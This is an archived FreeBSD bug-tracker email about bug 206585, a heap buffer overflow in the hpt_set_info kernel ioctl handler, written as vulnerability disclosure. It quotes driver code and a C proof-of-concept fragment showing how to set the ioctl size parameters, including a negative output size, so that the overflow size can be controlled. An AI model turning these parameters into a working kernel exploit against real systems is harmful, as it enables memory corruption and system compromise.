From owner-freebsd-bugs@freebsd.org Mon Jan 25 19:38:35 2016 Return-Path: Delivered-To: freebsd-bugs@mailman.ysv.freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) by mailman.ysv.freebsd.org (Postfix) with ESMTP id 759F7A4682F for ; Mon, 25 Jan 2016 19:38:35 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from kenobi.freebsd.org (kenobi.freebsd.org [IPv6:2001:1900:2254:206a::16:76]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 4C8A5DE8 for ; Mon, 25 Jan 2016 19:38:35 +0000 (UTC) (envelope-from bugzilla-noreply@freebsd.org) Received: from bugs.freebsd.org ([127.0.1.118]) by kenobi.freebsd.org (8.15.2/8.15.2) with ESMTP id u0PJcZuk065049 for ; Mon, 25 Jan 2016 19:38:35 GMT (envelope-from bugzilla-noreply@freebsd.org) From: bugzilla-noreply@freebsd.org To: freebsd-bugs@FreeBSD.org Subject: [Bug 206585] hpt_set_info possible buffer overflow Date: Mon, 25 Jan 2016 19:38:35 +0000 X-Bugzilla-Reason: AssignedTo X-Bugzilla-Type: changed X-Bugzilla-Watch-Reason: None X-Bugzilla-Product: Base System X-Bugzilla-Component: kern X-Bugzilla-Version: 11.0-CURRENT X-Bugzilla-Keywords: needs-qa, security X-Bugzilla-Severity: Affects Only Me X-Bugzilla-Who: ecturt@gmail.com X-Bugzilla-Status: Open X-Bugzilla-Resolution: X-Bugzilla-Priority: --- X-Bugzilla-Assigned-To: freebsd-bugs@FreeBSD.org X-Bugzilla-Flags: mfc-stable9? mfc-stable10? X-Bugzilla-Changed-Fields: Message-ID: In-Reply-To: References: Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable X-Bugzilla-URL: https://bugs.freebsd.org/bugzilla/ Auto-Submitted: auto-generated MIME-Version: 1.0 X-BeenThere: freebsd-bugs@freebsd.org X-Mailman-Version: 2.1.20 Precedence: list List-Id: Bug reports List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 25 Jan 2016 19:38:35 -0000 https://bugs.freebsd.org/bugzilla/show_bug.cgi?id=3D206585 --- Comment #4 from CTurt --- Supplying the `HPT_IOCTL_GET_EVENT` command will ensure that `Kernel_DeviceIoControl` function instantly returns, resulting in `hpt_set_info` returning straight after doing the `malloc`, `copyin`, and `free`: case HPT_IOCTL_GET_EVENT: { PHPT_EVENT pInfo; if (nInBufferSize!=3D0) return -1; I've also refined the `size` related parameters needed to fully control the heap overflow: params.dwIoControlCode =3D HPT_IOCTL_GET_EVENT; params.lpInBuffer =3D mapping; params.nInBufferSize =3D bufferSize + overflowSize; params.lpOutBuffer =3D NULL; params.nOutBufferSize =3D -overflowSize; params.lpBytesReturned =3D &bytesReturned; printf(" [+] nInBufferSize (size copied in): %08x\n", params.nInBufferSize); printf(" [+] nOutBufferSize: %08x\n", params.nOutBufferSize); printf(" [+] Sum (allocation size): %08x\n", params.nInBufferSize + params.nOutBufferSize); printf(" [+] Will be accepted: %d\n", (params.nInBufferSize + params.nOutBufferSize) <=3D PAGE_SIZE); You can get very manageable sizes from this, for example, allocated `bufferSize` of `0x500`, and copy size of `0x1000`. I'll try to get around to writing a full exploit for this soon, but won't be very useful since the vulnerability is only triggerable as `root` anyway. --=20 You are receiving this mail because: You are the assignee for the bug.=